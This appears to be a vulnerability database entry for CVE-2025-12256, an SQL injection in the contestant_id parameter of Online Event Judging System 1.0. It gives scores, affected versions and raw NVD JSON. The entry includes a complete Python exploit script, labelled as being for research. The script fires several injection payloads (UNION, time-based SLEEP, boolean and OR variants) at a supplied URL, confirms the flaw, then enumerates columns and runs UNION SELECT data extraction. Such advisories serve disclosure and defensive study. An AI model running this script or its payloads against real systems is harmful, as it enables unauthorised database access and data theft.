Security Vulnerability Report
中文
CVE-2025-12256 CVSS 6.3 MEDIUM

CVE-2025-12256

Published: 2025-10-27 10:15:38
Last Modified: 2026-04-29 01:00:02

Description

A weakness has been identified in code-projects Online Event Judging System 1.0. This vulnerability affects unknown code of the file /edit_contestant.php. Executing manipulation of the argument contestant_id can lead to sql injection. The attack can be executed remotely. The exploit has been made available to the public and could be exploited.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:carmelo:online_event_judging_system:1.0:*:*:*:*:*:*:* - VULNERABLE
code-projects Online Event Judging System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-12256 PoC - SQL Injection in Online Event Judging System 1.0 # Target: /edit_contestant.php # Parameter: contestant_id import requests import sys from urllib.parse import urlencode def test_sql_injection(url, target_param): """Test for SQL injection vulnerability""" # Normal request baseline normal_data = {target_param: "1"} try: normal_resp = requests.post(url, data=normal_data, timeout=10) print(f"[*] Normal request status: {normal_resp.status_code}") except requests.RequestException as e: print(f"[!] Normal request failed: {e}") return False # SQL injection test payloads payloads = [ "1' OR '1'='1", # Basic OR injection "1' UNION SELECT 1,2,3--", # UNION-based injection "1' AND SLEEP(5)--", # Time-based blind injection "1' AND 1=1--", # Boolean-based true condition "1' AND 1=2--", # Boolean-based false condition ] print(f"\n[*] Testing SQL injection payloads...") for payload in payloads: test_data = {target_param: payload} try: resp = requests.post(url, data=test_data, timeout=15) print(f"[*] Payload: {payload[:30]}... Status: {resp.status_code}") # Check for time delay (time-based blind injection) if "SLEEP" in payload: elapsed = resp.elapsed.total_seconds() if elapsed >= 4: print(f"[!] Time-based injection confirmed! Delay: {elapsed}s") return True # Check for SQL error messages if "sql" in resp.text.lower() or "mysql" in resp.text.lower() or "error" in resp.text.lower(): print(f"[!] Potential SQL error detected in response") except requests.RequestException as e: print(f"[!] Request failed for payload: {e}") return False def extract_data(url, target_param): """Extract data using UNION-based injection""" # Determine number of columns via ORDER BY for i in range(1, 20): payload = f"1' ORDER BY {i}--" data = {target_param: payload} try: resp = requests.post(url, data=data, timeout=10) if "Unknown column" not in resp.text: print(f"[*] Found {i-1} columns") num_cols = i - 1 break except: continue # UNION SELECT to extract database information union_payload = f"1' UNION SELECT {','.join(['1']*num_cols)}--" data = {target_param: union_payload} try: resp = requests.post(url, data=data, timeout=10) print(f"[*] UNION injection executed") print(f"[*] Response length: {len(resp.text)} bytes") except Exception as e: print(f"[!] Data extraction failed: {e}") def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-12256_poc.py <target_url>") print("Example: python3 cve-2025-12256_poc.py http://target.com/edit_contestant.php") sys.exit(1) target_url = sys.argv[1] param_name = "contestant_id" print(f"[*] CVE-2025-12256 SQL Injection PoC") print(f"[*] Target: {target_url}") print(f"[*] Testing parameter: {param_name}") print("-" * 50) if test_sql_injection(target_url, param_name): print("\n[!] Vulnerability confirmed! Proceeding with data extraction...") extract_data(target_url, param_name) else: print("\n[-] No obvious SQL injection detected") print("[*] Manual verification recommended") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12256", "sourceIdentifier": "[email protected]", "published": "2025-10-27T10:15:37.970", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in code-projects Online Event Judging System 1.0. This vulnerability affects unknown code of the file /edit_contestant.php. Executing manipulation of the argument contestant_id can lead to sql injection. The attack can be executed remotely. The exploit has been made available to the public and could be exploited."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:carmelo:online_event_judging_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "9FE35151-38A0-407C-A81B-14BA65BD9F8F"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/zzonce/cve/issues/2", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://vuldb.com/?ctiid.329927", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.329927", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.674009", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}